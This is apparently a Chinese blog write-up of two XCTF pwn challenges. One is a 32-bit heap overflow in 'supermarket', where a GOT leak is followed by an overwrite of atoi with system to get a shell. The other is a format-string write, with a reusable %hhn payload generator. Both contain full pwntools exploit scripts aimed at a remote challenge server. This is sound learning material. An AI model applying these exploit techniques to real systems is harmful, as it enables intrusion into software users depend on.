攻防世界pwn supermarket + 实时数据监测

supermarket

这是一个典型的堆题,菜单类型。

在这里插入图片描述

只开了NX保护的32位程序。
我们来分析一下程序
在这里插入图片描述

程序实现了增删改查,其中改可以改价格和商品的描述,我们重点看改描述,因为程序的漏洞就在这里。
在这里插入图片描述

首先让我们输入商品的名字,通过名字来找到商品,这里我们就可以伪造商品了。继续往下看会看到程序让我们输入描述信息的size。通过程序分析我们知道(&s2)[v1]+5是结构体中存储堆的size,(&s2)[v1]+6是结构体存储信息堆的的地方。
然而程序在输入size后,分配一个新的堆空间,但是仍然是通过结构体中的size来输入堆信息,这里就很容易会造成堆溢出。

首先,写好菜单题的模板:

#! /usr/bin/env python
from pwn import *
context.update(arch='i386', log_level='debug')

p = remote('111.198.29.45', 44261)
#p = process('./supermarket')
e = ELF('./supermarket')
#l = e.libc
l = ELF('./libc.so.6')

def add(name, price, size, desc):
    p.sendlineafter('>>', '1')
    p.sendlineafter('name:', str(name))
    p.sendlineafter('price:', str(price))
    p.sendlineafter('size:', str(size))
    p.sendlineafter('description:', str(desc))

def delete(name):
    p.sendlineafter('>>', '2')
    p.sendlineafter('name:', str(name))

def show():
    p.sendlineafter('>>', '3')
    p.recvuntil('B:')
    p.recvuntil('des.')
    return p.recvuntil('\n', drop=True)

def change_desc(name, size, desc):
    p.sendlineafter('>>', '5')
    p.sendlineafter('name:', str(name))
    p.sendlineafter('size:', str(size))
    p.sendlineafter('description:', str(desc))

写好后我们通过程序输入来测试:

add('A','1','256','a')
change_desc('A','8','a')
add('B','1','16','b')
gdb.attach(p)
pause()

我们通过gdb.attach§来使用gdb查看堆内存的状态

在这里插入图片描述

弹出框后我们使用vmmap的命令,查看堆地址。

在这里插入图片描述
在这里插入图片描述

这里我们可以看出ralloc身下的信息堆我们可以用来伪造第二个商品的结构体,造成UAF。

add('A','1','256','a')
change_desc('A','8','a')
add('B','1','16','b')
#gdb.attach(p)
#pause()
payload = flat(['a' * 0xc, 0x21, 0x42, 'a'*0xc, 0x1, 0x10, e.got['atoi']])
change_desc('A', '256', payload )
gdb.attach(p)
pause()

我们用刚刚的思路写一个payload来测试一下。

在这里插入图片描述

为造好后我们调用第二个商品的堆的信息时就会输出我们想要输出的信息了。

完整exp:

#! /usr/bin/env python
from pwn import *
context.update(arch='i386', log_level='debug')

#p = remote('111.198.29.45', 44261)
p = process('./supermarket')
e = ELF('./supermarket')
#l = e.libc
l = ELF('./libc.so.6')

def add(name, price, size, desc):
    p.sendlineafter('>>', '1')
    p.sendlineafter('name:', str(name))
    p.sendlineafter('price:', str(price))
    p.sendlineafter('size:', str(size))
    p.sendlineafter('description:', str(desc))

def delete(name):
    p.sendlineafter('>>', '2')
    p.sendlineafter('name:', str(name))

def show():
    p.sendlineafter('>>', '3')
    p.recvuntil('B:')
    p.recvuntil('des.')
    return p.recvuntil('\n', drop=True)

def change_desc(name, size, desc):
    p.sendlineafter('>>', '5')
    p.sendlineafter('name:', str(name))
    p.sendlineafter('size:', str(size))
    p.sendlineafter('description:', str(desc))

add('A','1','256','a')
change_desc('A','8','a')
add('B','1','16','b')
#gdb.attach(p)
#pause()
payload = flat(['a' * 0xc, 0x21, 0x42, 'a'*0xc, 0x1, 0x10, e.got['atoi']])
change_desc('A', '256', payload )
#gdb.attach(p)
#pause()
l.address = u32(show()[:4]) - l.symbols['atoi']
print hex(l.address)
change_desc('B', '16', p32(l.symbols['system']))
p.sendlineafter('>>', '/bin/sh\x00')
p.interactive()

实时数据监测

格式化字符串漏洞(大数据写)

在这里插入图片描述

好家伙,保护全关的32位程序。
丢进ida中分析一下。
在这里插入图片描述

看起来像新手区的题目,格式化字符串漏洞,但是这里要写一个比较大的数据到key中,拿出模板:

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

有了这个模板,不管是64位还是32位的大数据格式字符串漏洞的填写都不是问题(普遍情况下,不代表全部)。
这里我们要知道offset,我们用gdb测试一下就知道了。

在这里插入图片描述

直接测试出来偏移为12,我们填进去就可以了。

完整exp:

#! /usr/bin/env python
from pwn import *
p = remote('111.198.29.45',36468)
elf = ELF('./datacheck')

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(12,4,0x0804A048,0x02223322)

p.send(payload)
p.interactive()
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值